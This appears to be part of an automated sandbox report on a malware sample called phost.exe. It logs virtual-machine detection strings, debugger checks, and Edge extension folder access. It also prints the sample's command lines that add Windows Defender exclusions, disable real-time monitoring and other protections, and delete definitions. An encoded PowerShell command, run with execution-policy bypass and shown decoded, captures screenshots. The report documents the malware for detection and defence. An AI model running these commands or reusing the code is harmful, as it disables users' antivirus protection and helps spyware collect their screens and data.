Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\	Jump to behavior

Source: getmac.exe, 0000004D.00000002.1884181048.000001BC4BD03000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1880936509.000001BC4BCDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxservice
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareuser
Source: getmac.exe, 0000004D.00000003.1881424686.000001BC4BD1E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1880936509.000001BC4BCDB000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000002.1884181048.000001BC4BD20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SetPropValue.sSubKeyName("SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage");
Source: getmac.exe, 0000004D.00000002.1884181048.000001BC4BD03000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1880936509.000001BC4BCDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage"
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4B3Wxx0rgMCAzCsXgKTZy0nHl5Rf6BHcDGHT/VUQ/AwsA7FoyUmM95RZe0newB3P1x0/hrOweCqclJXfeVmX95HdwNXfM9WDBNXweEq8lJffeXm39ZIfwdabMNaZB9VRBtWA7FsLgKPZyzn3k5Nf2xGcnFHTjFSQbkNQvBqMlJTfeUmH9pHcQ+RIqiFTnAopFZaXihFcvEiyox0NBaKZmyncoB3KhITZM9CAfHsvF6bnSGockJHfeRmX85GZw9OMQtOYA9SJu0jSwA3gsw0gsw1TsA5AAIAAIAMzBAAEYAdmFmcjVmbp1EbhVGdT5iclJmYhJ3Rr5WYsJ0G6BAACMrcAAAAwIHIgACIgACIAAAAHMHAAAwryBAABcjczhGdhBFdmFmcjVmbp1mDafmbp1WYvJ3BaXGbpZ2byBlclNXdLoNa0FGUvRVZ2F2cKoNAAEgvydQKAAAAaKHAAIAoyBAABwocAAQATKHAAEgkyBAABEpcAAQAkJHAAIAZyBAAAoocAAgAXKHAAAA5yBAAA8qcAAAAJKHAAAgfyBAAA0ncAAAAkIHAAAACyFRKAAAAtKHAAEwjyRlbvlGbkFmQHoNAAIw2y1WdpRWYsFGUIodK05WZ05WSoASZzlmUNoHAAIg2yVmcvR3UgQnZvN3byNWaN9gezJXZrFWZyJEdhVGaD1g2AAgAZLHAAIA2yJ3blRXZNZg2yVGa0FWZGdg2yVGaj5WdhxEVJotch5WdMVg205WZ05WSGotDpQnbllGbDBibvlGbkFmQOo3QNlHbvBlBaDXdvJ3Zt0WdpRWYsFGcOoHd4RnLzRHbhhgelNXaSRg2u92cq5SZy9Gdz9Fdm92cvJ3Yp12XzRnb192YjF2XyVGaj5WdhxmJ652bzpmLzRnb192YjF2XyV2ahVmciRXYlh2Yao3b29mbuMHdsFWC6Vmbpx2b29mTIoNdmFGdjVmbp1mLKonbvNnauMHdsFWC6o
Source: phost.exe, 00000001.00000003.1837339893.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2171558185.000001AE1D600000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1702435717.000001AE1D5F8000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1702994368.000001AE1D630000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1703035642.000001AE1D608000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1857854012.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2174353903.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1881310006.000001AE1D604000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2178106775.000001AE1D607000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1830725428.000001AE1D600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000014.00000002.2944454320.000001E22842B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmsrvc
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fecodevmware
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: f8vmusrvc
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: d2qemu-ga
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwaretray
Source: phost.exe, 00000001.00000003.1888003274.000001AE1D892000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1886265486.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2170059092.000001AE1D721000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000003.2172658215.000001AE1D876000.00000004.00000020.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2178359191.000001AE1D730000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fecodevmsrvc
Source: getmac.exe, 0000004D.00000002.1884181048.000001BC4BD03000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1880936509.000001BC4BCDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_NetworkProtocolHyper-V RAWHyper-VRAWHyper-V RAWrkProtocolRSVP
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vboxtray
Source: phost.exe, 00000001.00000002.2179183258.000001AE1DBF0000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: qemu-ga
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmware
Source: getmac.exe, 0000004D.00000003.1881424686.000001BC4BD1E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1880936509.000001BC4BCDB000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000002.1884181048.000001BC4BD20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: __PARAMETERSSYSTEM\CurrentControlSet\Services\Hyper-V\LinkageExport
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareservicer_
Source: phost.exe, 00000001.00000002.2179183258.000001AE1DBF0000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp, phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmusrvc
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmware)
Source: getmac.exe, 0000004D.00000003.1881424686.000001BC4BD1E000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000003.1880936509.000001BC4BCDB000.00000004.00000020.00020000.00000000.sdmp, getmac.exe, 0000004D.00000002.1884181048.000001BC4BD20000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSTEM\CurrentControlSet\Services\Hyper-V\Linkage
Source: phost.exe, 00000001.00000003.1701309870.000001AE1D264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmtoolsd
Source: phost.exe, 00000001.00000002.2177632579.000001AE1D3A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwareservice

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\phost.exe

Code function: 0_2_00007FF62CC8A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF62CC8A684

Source: C:\Users\user\Desktop\phost.exe

Code function: 0_2_00007FF62CC934F0 GetProcessHeap,

0_2_00007FF62CC934F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC8A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF62CC8A684
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC7C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF62CC7C910
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC7D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF62CC7D19C
Source: C:\Users\user\Desktop\phost.exe	Code function: 0_2_00007FF62CC7D37C SetUnhandledExceptionFilter,	0_2_00007FF62CC7D37C
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC8A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF62CC8A684
Source: C:\Users\user\Desktop\phost.exe	Code function: 1_2_00007FF62CC7C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF62CC7C910
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD14C10 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	105_2_00007FF6BBD14C10
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD0B52C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	105_2_00007FF6BBD0B52C
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD0B6D8 SetUnhandledExceptionFilter,	105_2_00007FF6BBD0B6D8
Source: C:\Users\user\AppData\Local\Temp\_MEI32202\rar.exe	Code function: 105_2_00007FF6BBD0A66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	105_2_00007FF6BBD0A66C

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\phost.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\?? ? .scr'

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Modifies Windows Defender protection settings

Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\Desktop\phost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
